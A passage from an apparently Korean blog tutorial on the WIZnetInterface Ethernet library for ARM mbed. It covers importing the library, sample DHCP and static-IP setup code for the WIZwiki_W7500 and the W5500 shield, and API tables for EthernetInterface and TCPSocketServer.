<span class="hljs-keyword" style="color: #333333; font-weight: bold;">bool</span> link(<span class="hljs-keyword" style="color: #333333; font-weight: bold;">int</span> wait_time_ms= <span class="hljs-number" style="color: teal;">3</span>*<span class="hljs-number" style="color: teal;">1000</span>);
</code></pre>
</li>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
set_link()<br style="clear: both;" />PHY의 Duplex/SPEED를 설정할 수 있는 함수이다.</div>
<pre style="border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; overflow: auto; word-break: break-all; word-wrap: break-word;"><code class="cpp hljs" data-origin="<pre><code class="cpp"> /*
* Sets the speed and duplex parameters of an ethernet link.
*
* @returns true if successful
*/
void set_link(PHYMode phymode);
</code></pre>" style="background-color: #f8f8f8; background-position: initial initial; background-repeat: initial initial; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(204, 204, 204); color: #333333; display: block; display: block; font-family: Consolas, Inconsolata, Courier, monospace; font-size: 0.9em; margin: 0px 2px; margin: 0px; overflow-x: auto; padding: 0.5em; padding: 0.5em; padding: 0px 5px; white-space: pre; word-break: break-all; word-wrap: break-word;"> <span class="hljs-comment" style="color: #999988; font-style: italic;">/*
* Sets the speed and duplex parameters of an ethernet link.
*
* @returns true if successful
*/</span>
<span class="hljs-keyword" style="color: #333333; font-weight: bold;">void</span> set_link(PHYMode phymode);
</code></pre>
</li>
</ul>
</li>
</ul>
<ul>
<li style="display: list-item; line-height: 1.4em;">Networking에 필수적으로 필요한 DHCP와 DNS lib를 포함<br style="clear: both;" /><a href="https://www.flickr.com/photos/129289794@N06/19070511119" style="color: #3269a0; text-decoration: none; vertical-align: baseline;" title="dhcpdns by Roy Kim, on Flickr"><img alt="dhcpdns" height="141" src="https://c1.staticflickr.com/1/457/19070511119_3a959c3760_m.jpg" style="max-width: 100%;" width="199" /></a></li>
</ul>
<h2 id="how-to-import" style="border-bottom-color: rgb(230, 230, 230); border-bottom-style: solid; border-bottom-width: 1px; clear: both; font-size: 1.8em; font-weight: bold; line-height: 1.7em; margin: 1.275em 0px 0.85em;">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#how-to-import" name="how-to-import" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a>How to import</h2>
<ul>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
import and update</div>
<ul>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
WIZnetInterface Library의 import를 위해 import하고자 하는 program에서 오른쪽 클릭 후 ‘From Import Wizard’를 클릭 한다.<br style="clear: both;" /><a href="https://www.flickr.com/photos/129289794@N06/18755734038" style="color: #3269a0; text-decoration: none; vertical-align: baseline;" title="import_WIZnetInterface by Roy Kim, on Flickr"><img alt="import_WIZnetInterface" height="294" src="https://c2.staticflickr.com/4/3828/18755734038_463752eb11.jpg" style="max-width: 100%;" width="444" /></a></div>
</li>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
import wizard의 검색 창에서 ‘WIZnetInterfae”를 적고 ‘Search’ button을 클릭한다. 검색 결과 창에서 ‘WIZnetInterface’을 선택한 후 거침없이 ‘Import’ button을 클릭!<br style="clear: both;" /><a href="https://www.flickr.com/photos/129289794@N06/18938060232" style="color: #3269a0; text-decoration: none; vertical-align: baseline;" title="search_WIZnetInterface by Roy Kim, on Flickr"><img alt="search_WIZnetInterface" height="280" src="https://c2.staticflickr.com/4/3711/18938060232_95138acb91.jpg" style="max-width: 100%;" width="499" /></a></div>
</li>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
Import Library창이 뜨면 당황하지 않고 각항목을 알맞게 ‘Import name’ 과 ‘Target path’설정 한다. 또한 최신의 Library를 import하기 위해 ‘update’ check box를 반드시 체크한다. 그리고 ‘Import’ Button을 클릭하여 WIZnetInteface의 Import를 완료한다.<br style="clear: both;" /><a href="https://www.flickr.com/photos/129289794@N06/18917138336" style="color: #3269a0; text-decoration: none; vertical-align: baseline;" title="importandupdate_WIZnetInteface by Roy Kim, on Flickr"><img alt="importandupdate_WIZnetInteface" height="306" src="https://c2.staticflickr.com/4/3665/18917138336_891dfc70c2.jpg" style="max-width: 100%;" width="400" /></a></div>
</li>
</ul>
</li>
</ul>
<h2 id="where-is-clone-repository" style="border-bottom-color: rgb(230, 230, 230); border-bottom-style: solid; border-bottom-width: 1px; clear: both; font-size: 1.8em; font-weight: bold; line-height: 1.7em; margin: 1.275em 0px 0.85em;">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#where-is-clone-repository" name="where-is-clone-repository" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a>Where is Clone repository</h2>
<div style="margin-top: 0px; margin: 1em 0px; word-wrap: break-word;">
파일 버젼관린 시스템 <a href="https://git-scm.com/" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">Git</a>과 같은 <a href="https://mercurial.selenic.com/" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">Mecurial</a>를 ARM mbed에서 적용하고 있다.<br style="clear: both;" />아래의 명령어를 이용하여 WIZnetInterface를 Clone할 수 있으며 hg명령어를 이용하여 버젼관리를 할 수 있다.<br style="clear: both;" /><strong>hg clone <a href="https://embeddist@developer.mbed.org/users/embeddist/code/WIZnetInterface/" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">https://embeddist@developer.mbed.org/users/embeddist/code/WIZnetInterface/</a></strong></div>
<div style="margin: 1em 0px; word-wrap: break-word;">
또한, WIZnetInterface는 ARM mbed의 Team WIZnet에서 관리하고 있으므로 <a href="https://developer.mbed.org/teams/WIZnet/" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a><a href="https://developer.mbed.org/teams/WIZnet/" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">https://developer.mbed.org/teams/WIZnet/</a>를 방문하여 다운 및 다수의 예제를 활용할 수 있다. </div>
<h2 id="how-to-use" style="border-bottom-color: rgb(230, 230, 230); border-bottom-style: solid; border-bottom-width: 1px; clear: both; font-size: 1.8em; font-weight: bold; line-height: 1.7em; margin: 1.275em 0px 0.85em;">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#how-to-use" name="how-to-use" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a>How to use</h2>
<ul>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
make main.cpp</div>
<ul>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
WIZwiki_W7500</div>
<pre style="border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; overflow: auto; word-break: break-all; word-wrap: break-word;"><code class="cpp hljs" data-origin="<pre><code class="cpp">#define _DHCP_
EthernetInterface eth; /*1. Creat eth object from EthernetInteface class*/
main()
{
/*2. MAC address as arr in HEX-Type*/
uint8_t mac_addr[6] = {0x00, 0x08, 0xDC, 0x01, 0x02, 0x03};
/*3. Select DHCP or Fixed IP address*/
#ifdef _DHCP_
/*3.1 Set MAC address, Initialize the interface with DHCP*/
eth.init(mac_addr);
#else
/*3.2 Set MAC address and Set MAC, IP, Gatway address and Subnet Mask as String-Type*/
eth.init(mac_addr, "192.168.77.34", "255.255.255.0", "192.168.77.1");
#endif
/*4. Check Ethernet Link-Done */
printf("Check Ethernet Link\r\n");
if(eth.link() == true) { printf("- Ethernet PHY Link-Done \r\n"); }
else {printf("- Ethernet PHY Link- Fail\r\n");}
/*5. Set IP addresses ,start DHCP if needed */
if( eth.connect() == ture )
{
printf("Connected, IP: %s\n\r", eth.getIPAddress());
printf("MASK: %s\n\r", eth.getNetworkMask());
printf("GW: %s\n\r",eth.getGateway());
}
else
{
printf("eth.connect fail\n\r");
}
...
/* Your application
Visit for examples - https://developer.mbed.org/teams/WIZnet/
*/
}
</code></pre>" style="background-color: #f8f8f8; background-position: initial initial; background-repeat: initial initial; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(204, 204, 204); color: #333333; display: block; display: block; font-family: Consolas, Inconsolata, Courier, monospace; font-size: 0.9em; margin: 0px 2px; margin: 0px; overflow-x: auto; padding: 0.5em; padding: 0.5em; padding: 0px 5px; white-space: pre; word-break: break-all; word-wrap: break-word;"><span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#<span class="hljs-keyword" style="color: #333333; font-weight: bold;">define</span> _DHCP_</span>
EthernetInterface eth; <span class="hljs-comment" style="color: #999988; font-style: italic;">/*1. Creat eth object from EthernetInteface class*/</span>
main()
{
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*2. MAC address as arr in HEX-Type*/</span>
uint8_t mac_addr[<span class="hljs-number" style="color: teal;">6</span>] = {<span class="hljs-number" style="color: teal;">0x00</span>, <span class="hljs-number" style="color: teal;">0x08</span>, <span class="hljs-number" style="color: teal;">0xDC</span>, <span class="hljs-number" style="color: teal;">0x01</span>, <span class="hljs-number" style="color: teal;">0x02</span>, <span class="hljs-number" style="color: teal;">0x03</span>};
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*3. Select DHCP or Fixed IP address*/</span>
<span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#ifdef _DHCP_</span>
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*3.1 Set MAC address, Initialize the interface with DHCP*/</span>
eth.init(mac_addr);
<span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#<span class="hljs-keyword" style="color: #333333; font-weight: bold;">else</span> </span>
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*3.2 Set MAC address and Set MAC, IP, Gatway address and Subnet Mask as String-Type*/</span>
eth.init(mac_addr, <span class="hljs-string" style="color: #dd1144;">"192.168.77.34"</span>, <span class="hljs-string" style="color: #dd1144;">"255.255.255.0"</span>, <span class="hljs-string" style="color: #dd1144;">"192.168.77.1"</span>);
<span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#<span class="hljs-keyword" style="color: #333333; font-weight: bold;">endif</span></span>
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*4. Check Ethernet Link-Done */</span>
<span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"Check Ethernet Link\r\n"</span>);
<span class="hljs-keyword" style="color: #333333; font-weight: bold;">if</span>(eth.link() == <span class="hljs-keyword" style="color: #333333; font-weight: bold;">true</span>) { <span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"- Ethernet PHY Link-Done \r\n"</span>); }
<span class="hljs-keyword" style="color: #333333; font-weight: bold;">else</span> {<span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"- Ethernet PHY Link- Fail\r\n"</span>);}
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*5. Set IP addresses ,start DHCP if needed */</span>
<span class="hljs-keyword" style="color: #333333; font-weight: bold;">if</span>( eth.connect() == ture )
{
<span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"Connected, IP: %s\n\r"</span>, eth.getIPAddress());
<span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"MASK: %s\n\r"</span>, eth.getNetworkMask());
<span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"GW: %s\n\r"</span>,eth.getGateway());
}
<span class="hljs-keyword" style="color: #333333; font-weight: bold;">else</span>
{
<span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"eth.connect fail\n\r"</span>);
}
...
<span class="hljs-comment" style="color: #999988; font-style: italic;">/* Your application
Visit for examples - https://developer.mbed.org/teams/WIZnet/
*/</span>
}
</code></pre>
</li>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
W5500 Ethernet Shield</div>
<pre style="border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; overflow: auto; word-break: break-all; word-wrap: break-word;"><code class="cpp hljs" data-origin="<pre><code class="cpp">#define _DHCP_
/* 0. Set SPI Interface with SPI API*/
SPI spi(D11, D12, D13); // mosi, miso, sclk
/*1. Creat eth object from EthernetInteface class*/
EthernetInterface eth(&amp;amp;spi, D10, D9); // spi, cs, reset
main()
{
/*2. MAC address as arr in HEX-Type*/
uint8_t mac_addr[6] = {0x00, 0x08, 0xDC, 0x01, 0x02, 0x03};
/*3. Select DHCP or Fixed IP address*/
#ifdef _DHCP_
/*3.1 Set MAC address, Initialize the interface with DHCP*/
eth.init(mac_addr);
#else
/*3.2 Set MAC address and Set MAC, IP, Gatway address and Subnet Mask as String-Type */
eth.init(mac_addr, "192.168.77.34", "255.255.255.0", "192.168.77.1");
#endif
/*3. Check Ethernet Link-Done */
printf("Check Ethernet Link\r\n");
if(eth.link() == true) { printf("- Ethernet PHY Link-Done \r\n"); }
else {printf("- Ethernet PHY Link- Fail\r\n");}
/*4. Set IP addresses ,start DHCP if needed */
if( eth.connect() == ture )
{
printf("Connected, IP: %s\n\r", eth.getIPAddress());
printf("MASK: %s\n\r", eth.getNetworkMask());
printf("GW: %s\n\r",eth.getGateway());
}
else
{
printf("eth.connect fail\n\r");
}
...
/* Your application
Visit for examples - https://developer.mbed.org/teams/WIZnet/
*/
}
</code></pre>" style="background-color: #f8f8f8; background-position: initial initial; background-repeat: initial initial; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(204, 204, 204); color: #333333; display: block; display: block; font-family: Consolas, Inconsolata, Courier, monospace; font-size: 0.9em; margin: 0px 2px; margin: 0px; overflow-x: auto; padding: 0.5em; padding: 0.5em; padding: 0px 5px; white-space: pre; word-break: break-all; word-wrap: break-word;"><span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#<span class="hljs-keyword" style="color: #333333; font-weight: bold;">define</span> _DHCP_</span>
<span class="hljs-comment" style="color: #999988; font-style: italic;">/* 0. Set SPI Interface with SPI API*/</span>
SPI spi(D11, D12, D13); <span class="hljs-comment" style="color: #999988; font-style: italic;">// mosi, miso, sclk</span>
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*1. Creat eth object from EthernetInteface class*/</span>
EthernetInterface eth(&amp;spi, D10, D9); <span class="hljs-comment" style="color: #999988; font-style: italic;">// spi, cs, reset</span>
main()
{
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*2. MAC address as arr in HEX-Type*/</span>
uint8_t mac_addr[<span class="hljs-number" style="color: teal;">6</span>] = {<span class="hljs-number" style="color: teal;">0x00</span>, <span class="hljs-number" style="color: teal;">0x08</span>, <span class="hljs-number" style="color: teal;">0xDC</span>, <span class="hljs-number" style="color: teal;">0x01</span>, <span class="hljs-number" style="color: teal;">0x02</span>, <span class="hljs-number" style="color: teal;">0x03</span>};
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*3. Select DHCP or Fixed IP address*/</span>
<span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#ifdef _DHCP_</span>
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*3.1 Set MAC address, Initialize the interface with DHCP*/</span>
eth.init(mac_addr);
<span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#<span class="hljs-keyword" style="color: #333333; font-weight: bold;">else</span></span>
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*3.2 Set MAC address and Set MAC, IP, Gatway address and Subnet Mask as String-Type */</span>
eth.init(mac_addr, <span class="hljs-string" style="color: #dd1144;">"192.168.77.34"</span>, <span class="hljs-string" style="color: #dd1144;">"255.255.255.0"</span>, <span class="hljs-string" style="color: #dd1144;">"192.168.77.1"</span>);
<span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#<span class="hljs-keyword" style="color: #333333; font-weight: bold;">endif</span></span>
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*3. Check Ethernet Link-Done */</span>
<span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"Check Ethernet Link\r\n"</span>);
<span class="hljs-keyword" style="color: #333333; font-weight: bold;">if</span>(eth.link() == <span class="hljs-keyword" style="color: #333333; font-weight: bold;">true</span>) { <span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"- Ethernet PHY Link-Done \r\n"</span>); }
<span class="hljs-keyword" style="color: #333333; font-weight: bold;">else</span> {<span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"- Ethernet PHY Link- Fail\r\n"</span>);}
<span class="hljs-comment" style="color: #999988; font-style: italic;">/*4. Set IP addresses ,start DHCP if needed */</span>
<span class="hljs-keyword" style="color: #333333; font-weight: bold;">if</span>( eth.connect() == ture )
{
<span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"Connected, IP: %s\n\r"</span>, eth.getIPAddress());
<span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"MASK: %s\n\r"</span>, eth.getNetworkMask());
<span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"GW: %s\n\r"</span>,eth.getGateway());
}
<span class="hljs-keyword" style="color: #333333; font-weight: bold;">else</span>
{
<span class="hljs-built_in" style="color: #0086b3;">printf</span>(<span class="hljs-string" style="color: #dd1144;">"eth.connect fail\n\r"</span>);
}
...
<span class="hljs-comment" style="color: #999988; font-style: italic;">/* Your application
Visit for examples - https://developer.mbed.org/teams/WIZnet/
*/</span>
}
</code></pre>
</li>
</ul>
</li>
</ul>
<h2 id="wiznetinterface-implementations-for-mbed-ethenret-interface" style="border-bottom-color: rgb(230, 230, 230); border-bottom-style: solid; border-bottom-width: 1px; clear: both; font-size: 1.8em; font-weight: bold; line-height: 1.7em; margin: 1.275em 0px 0.85em;">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#wiznetinterface-implementations-for-mbed-ethenret-interface" name="wiznetinterface-implementations-for-mbed-ethenret-interface" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a>WIZnetInterface APIs for mbed Ethenret Interface</h2>
<div style="margin-top: 0px; margin: 1em 0px; word-wrap: break-word;">
Ethernet 기반의 Networking을 위해 <em>*<a href="https://developer.mbed.org/handbook/Ethernet-Interface" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">Ethenret Interface</a></em> Library를 ARM mbed에서 제공하고 있으며, 이 Library는 크게 4가지 TCP/IP Protocol layer, Ethernet, EthernetInterface and Socket로 구성되있다. </div>
<div style="margin: 1em 0px; word-wrap: break-word;">
Internet에 연결하기 위해 EthernetInterface의 각각의 Layer는 APIs들로 구성되어 있다. 각각의 API는 아래의 경로에서 확인할 수 있다. </div>
<ul>
<li style="display: list-item; line-height: 1.4em;">EthernetInterfaec : <a href="https://developer.mbed.org/handbook/Ethernet-Interface" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a><a href="https://developer.mbed.org/handbook/Ethernet-Interface" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">https://developer.mbed.org/handbook/Ethernet-Interface</a></li>
<li style="display: list-item; line-height: 1.4em;">Socket : <a href="https://developer.mbed.org/handbook/Socket" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a><a href="https://developer.mbed.org/handbook/Socket" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">https://developer.mbed.org/handbook/Socket</a></li>
<li style="display: list-item; line-height: 1.4em;">TCP/IP Protocols : <a href="https://developer.mbed.org/handbook/TCP-IP-protocols-and-APIs" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a><a href="https://developer.mbed.org/handbook/TCP-IP-protocols-and-APIs" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">https://developer.mbed.org/handbook/TCP-IP-protocols-and-APIs</a></li>
<li style="display: list-item; line-height: 1.4em;">Ethernet : <a href="https://developer.mbed.org/handbook/Ethernet" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a><a href="https://developer.mbed.org/handbook/Ethernet" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">https://developer.mbed.org/handbook/Ethernet</a></li>
</ul>
<h3 id="wiznetinterface-implementation-base-on-mbed-ethernet-interface" style="clear: both; font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#wiznetinterface-implementation-base-on-mbed-ethernet-interface" name="wiznetinterface-implementation-base-on-mbed-ethernet-interface" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a>WIZnetInterface Implementation base on mbed Ethernet Interface</h3>
<ul>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
EthernetInterface- EthernetInterface Class</div>
<table style="background-color: #fafafa; border-collapse: collapse; border-spacing: 0px; padding: 0px;">
<thead>
<tr>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">Type</th>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">Func.</th>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">Descriptions</th>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">WIZnetInterface</th>
</tr>
</thead>
<tbody>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">static int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">init ()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Initialize the interface with DHCP.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">static int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">init (const char <em style="margin-bottom: 0px; margin-top: 0px;">ip, const char </em>mask, const char *gateway)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Initialize the interface with a static IP address.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">static int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">connect (unsigned int timeout_ms=15000)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Connect Bring the interface up, start DHCP if needed.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">static int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">disconnect ()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Disconnect Bring the interface down.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">no use</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">static char*</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">getMACAddress ()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Get the MAC address of your Ethernet interface.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">static char*</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">getIPAddress ()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Get the IP address of your Ethernet interface.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">static char*</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">getGateway ()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Get the Gateway address of your Ethernet interface.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">static char*</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">getNetworkMask ()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Get the Network mask of your Ethernet interface.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">void</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">EthernetInterface (PinName mosi, PinName miso, PinName sclk, PinName cs, PinName reset)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Initialize SPI SPI pins to user for SPI interface and Reset pin for W5500</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">0 (for W5500)</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">void</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">EthernetInterface (SPI* spi, PinName cs, PinName reset)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Initialize SPI SPI pins to user for SPI interface and Reset pin for W5500</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O (for W5500)</td>
</tr>
</tbody>
</table>
</li>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
Socket - TCPSocketServer Class</div>
<table style="background-color: #fafafa; border-collapse: collapse; border-spacing: 0px; padding: 0px;">
<thead>
<tr>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">Type</th>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">Func.</th>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">Descriptions</th>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">WIZnetInterface</th>
</tr>
</thead>
<tbody>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;"></td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">TCPSocketServer ()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Instantiate a TCP Server.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
